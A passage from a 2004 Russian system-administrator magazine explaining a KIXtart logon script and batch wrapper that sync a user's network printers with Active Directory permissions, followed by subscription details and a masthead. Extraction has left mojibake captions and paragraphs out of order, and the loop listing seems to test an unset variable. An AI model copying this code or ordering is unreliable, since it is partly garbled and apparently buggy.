Внедрение скрипта в эксплуатацию Необходимо отметить, что после формирования второго массива между ними соблюдаются следующее неравенство: М2 ≥ М1, где М2 – массив, элементами которого являются названия подключенных принтеров, M1 – принтеров, на которые пользователь имеет права. На третьем, заключительном, этапе добиваются выполнения следующего условия: М1 = М2.
Скрипт выполняется каждый раз при регистрации пользователя в сети, если он указан в разделе Profile свойствах пользователя (см. рис. 5) службы Active Directory: Users and Computers.
Этап 3. Приведение созданных списков принтеров в соответствие Сопоставление массивов М1 и М2 осуществляется с помощью функции ASCAN. В том случае если функция возвращает значение -1, то элемент, найденный в одном массиве, не является элементом другого. Поэтому принтер, соответствующий этому элементу, должен быть отключен. for $i=0 to ubound($connected_array) $flag_p=0 $flag_p=Ascan($access_array,$connected_array[$i]) if $flag_p=-1 ……….. endif next
Удаление принтера осуществляется с помощью соответствующей функции, параметром которой является UNC-путь принтера. Для того чтобы сформировать этот путь, осуществляется анализ ветви HKLM (см. рис. 4):
Ðèñóíîê 4
92
Ðèñóíîê 5
образование Описанный скрипт не будет работать под Windows 9x, поскольку Windows 2k и Windows 9x обладают различными системами печати. Однако, поскольку данный скрипт является частью большого скрипта, рассмотрим случай, в котором в сети присутствуют рабочие станции под управлением и Windows 9x, и Windows 2k. Следует отметить, что для работы KIXtart под Windows 9х необходимо наличие нескольких файлов на жестком диске рабочей станции в каталоге Windows\System. Для автоматизации установки KIXtart на рабочих станциях домена предлагается следующее: в папку Netlogon поместить файлы: ! KIX32.EXE; ! SCRIPT.KIX; ! START.BAT; ! Подкаталог Win9x, содержит файлы KX16.DLL и KX32.DLL.
политики, распространяющейся на домен («Default Domain Controllers Policy»). В разделе групповой политики «User Configuration» необходимо соответственно включить «Run legacy logon script synhronously» (запускать сценарий загрузки синхронно) и «Run legasy script hidden» (запускать сценарий скрыто). Для этого необходимо проделать следующее: ! Зарегистрироваться на сервере с помощью учетной записи, имеющей административные права. ! Загрузить в Active Directory Users and Computers (Start → Programs → Administrative Tools) и войти в свойства контроллера домена (см. рис. 6). ! Перейти во вкладку «Group Policy» и загрузить «Default Dоmain Policy» (см. рис. 7).
В ходе выполнения файла START.BAT определяется тип операционной системы, установленной на рабочей станции, и запускает скрипт. В зависимости от версии ОС происходит копирование файлов, необходимых для поддержки KIX этой операционной системой. Ëèñòèíã ôàéëà start.bat @ECHO OFF if c:\%os%==c:\ goto win9x if not c:\%os%==c:\ goto winnt :winnt start /wait Kix32.exe Script.kix goto kix :win9x copy %0\..\win9x\*.dll c:\windows\system /y %0\..\Kix32.exe %0\..\Script.kix goto kix
Ðèñóíîê 6
:kix @echo End Of Batch File
Пояснения к синтаксису файла START.BAT:
! Принцип определения операционной системы основан на том, что в Windows 9x отсутствует переменная окружения %os%; в Windows 2k переменная %os%=WindowsNT. С помощью строки «start /wait Kix32.exe Script.kix2 добиваются последовательной загрузки – сначала скрипт, затем рабочий стол и т. д., а не одновременной. То есть во время выполнения скрипта многозадачность «отключается». Это делается для того, чтобы до окончания действия скрипта дальнейшая загрузка операционной системы не производилась. Для корректной работы Windows 9x в качестве пути к файлу необходимо указывать «%0\..\filename.ext\». Windows XP не воспринимает относительного пути «%0/./», поэтому для Windows семейства 2k необходимо указать только имя файла, который находится в папке Netlogon.
! В загруженной групповой политике (Default Domain
На время выполнения скрипта необходимо скрыть CMD-панель, в которой выполняется cкрипт, и приостановить загрузку рабочего стола до окончания всего скрипта. Этого результата добиваются с помощью групповой
Policy) необходимо в «User Configuration» (настройках пользователя) войти в «Administrative Templates» (административные настройки). Там выбрать раздел «System» (система), вкладку «logon/logoff» (войти/выйти) и включить ранее оговоренные политики (см. рис. 8).
!
! !
№6(19), июнь 2004
Ðèñóíîê 7
93
образование Приложение 1 Ëèñòèíã ñöåíàðèÿ çàãðóçêè script.kix $rootDSE_ = GetObject("LDAP://RootDSE") $domain_ = "LDAP://" + $rootDSE_.Get("defaultNamingContext") $strADSQuery = "SELECT shortservername, portname, servername, ↵ printername, printsharename, location, description ↵ FROM '" +$domain_+"' WHERE objectClass='printQueue'" $objConnection = CreateObject("ADODB.Connection") $objCommand = CreateObject("ADODB.Command") $objConnection.CommandTimeout = 120 $objConnection.Provider = "ADsDSOObject" $objConnection.Open ("Active Directory Provider") $objCommand.ActiveConnection = $objConnection $objCommand.CommandText = $strADSQuery $st = $objCommand.Execute $st.Movefirst dim $access_array[200] dim $connected_array[200] $i=0 Do $server_enum="" $shares_enum="" $description_enum="" $server_enum = $St.Fields("shortservername").Value $name_enum = $St.Fields("printername").Value $shares=$St.Fields("printsharename").Value for each $share in $shares $shares_enum = $shares_enum + $share next $descrs=$St.Fields("description").Value for each $desc in $descrs $description_enum = $description_enum + $desc next $path_enum_connect = "\\" + $server_enum + "\" + $shares_enum $connect_flag = addprinterconnection( $path_enum_connect ) if $connect_flag=0 $path_full =",," + $server_enum + "," + $name_enum
Ðèñóíîê 8
94
$print_sysinfo=$print_sysinfo+$shares_enum+": ↵ "+$description_enum+chr(13) $access_array[$i] = lcase($path_full) $i=$i+1 endif $st.MoveNext Until $st.EOF $Index=0 DO $connected_array[$index]= lcase(ENUMKEY("HKEY_CURRENT_USER\ ↵ Printers\Connections\", $Index)) $Index = $Index + 1 UNTIL Len($Group) =0 if $i=0 redim PRESERVE $access_array[0] else redim PRESERVE $access_array[$i-1] endif if $index=1 redim PRESERVE $connected_array[0] else redim PRESERVE $connected_array[$index-2] endif for $i=0 to ubound($connected_array) $flag_p=0 $flag_p=Ascan($access_array,$connected_array[$i]) if $flag_p=-1 $group=$connected_array[$i] $name_=right($group, len($group)-instrrev($group,",")) $server_=right(left($group,len($group)-len($name_)-1), ↵ len(left($group,len($group)-len($name_)-1))-2) $share_=readvalue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ ↵ Windows NT\CurrentVersion\Print\Providers\ ↵ LanMan Print Services\Servers\"+$server_+"\Printers\ ↵ "+$name_,"Share Name") $disconnect_ ="\\"+$server_+"\"+$share_ $r=DelPrinterConnection( $disconnect_ ) endif next MessageBox("Ïîäêëþ÷åíèå ñåòåâûõ ïðèíòåðîâ çàâåðøåíî","",0,0)
подписка на II полугодие 2004 Российская Федерация ! Подписной индекс: 81655 !
!
!
Каталог агентства «Роспечать» Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru
! Узбекистан – по каталогу «Davriy nashrlar» российские
! !
!
!
СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры АРЗИ: ! Казахстан – по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс» ! Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)
!
издания через агентство по распространению печати «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик, 5/3, офис 33) Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г.Тирасполь, ул.Ленина, 17) по прайслисту через ООО Агентство «Editil Periodice» (2012, г.Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220
Подписные индексы:
81655 по каталогу агентства «Роспечать»
87836 по каталогу агентства «Пресса России»
№6(19), июнь 2004
95
СИСТЕМНЫЙ АДМИНИСТРАТОР №6(19), Июнь, 2004 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редактор Андрей Бешков Научно-технические консультанты Валерий Цуканов Дмитрий Горяинов РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 7000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.
96
ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: PostgreSQL: первые шаги Сейчас довольно трудно представить себе более или менее серьезный программный проект, который не использовал бы базу данных для хранения информации. В данной статье я хочу рассмотреть одну из лучших (на мой взгляд) систем управления базами данных, распространяемых бесплатно – PostgreSQL. Существуют версии этой СУБД как для различных UNIXсистем, так и для Windows. Учитывая, что разрабатывается она прежде всего для работы в среде UNIX, то рассмотрим ее установку, первичную настройку и основные принципы использования на примере ОС FreeBSD.
Строим шлюз с Luinux Не всегда и не всем при построении шлюза в Интернет требуются все возможности, заложенные в дистрибутивах вроде Securepoint. Для домашнего использования или небольшой организации требуется в первую очередь простота настройки. Посмотрим, возможно дистрибутив, о котором сегодня пойдет речь, – то, что вам нужно. Построенный на основе Debian испанский дистрибутив Luinux (http:// www.masilla.org/luinux) предназначен как раз для использования в качестве интернет-шлюза (ПК, видеоконсоль, ТВ) в домашних сетях или для небольших организаций.
Управление файловыми серверами В данной статье будет рассмотрен круг вопросов, связанный с управлением файловыми серверами в сетях Windows 2000. На всех серверах – контроллерах домена, файловых, почтовых серверах и др., операционной системой является Microsoft Windows 2000. В любой крупной сети, построенной на основе домена Windows, существует один или несколько файловых серверов, предназначенных для хранения дистрибутивов различного программного
обеспечения, технической документации, драйверов, архивов, аудио-, видеозаписей, других ресурсов. Размер массива одного файлового сервера, собранного из жестких дисков, может достигать от нескольких сотен гигабайт до нескольких терабайт. Количество файловых серверов может варьироваться в зависимости от потребностей. Поддержка серверов является трудоемкой задачей, требующей пристального внимания системного администратора, поскольку осуществляется постоянное обновление ресурсов. Эта статья посвящена автоматизации администрирования файловых серверов с помощью стандартных средств Microsoft Windows. Решением поставленной задачи является инструмент, созданный на основе VBScript, позволяющий абстрагироваться от файловой системы и автоматизировать администрирование файловых серверов.
Второе начало термодинамики – гарант успеха систем с открытым исходным кодом Информационные технологии настолько прочно вошли в жизнь человечества, что без них уже невозможно представить не только развития, но и существования нашей цивилизации. Жизненная необходимость разработки и совершенствования ПО уже не вызывает никаких сомнений, и нет оснований полагать, что ситуация изменится в ближайшее время. Стало очевидно, что есть две принципиально разных доктрины разработки и распространения ПО. ПО с открытым исходным кодом и ПО с закрытым кодом, оба убедительно демонстрируют свою успешность. Единого мнения, какое ПО успешней, нет. Множество людей ведут горячие споры о преимуществах и недостатках того или иного пути. Ситуация стремительно меняется. Человечество пытается принять решение.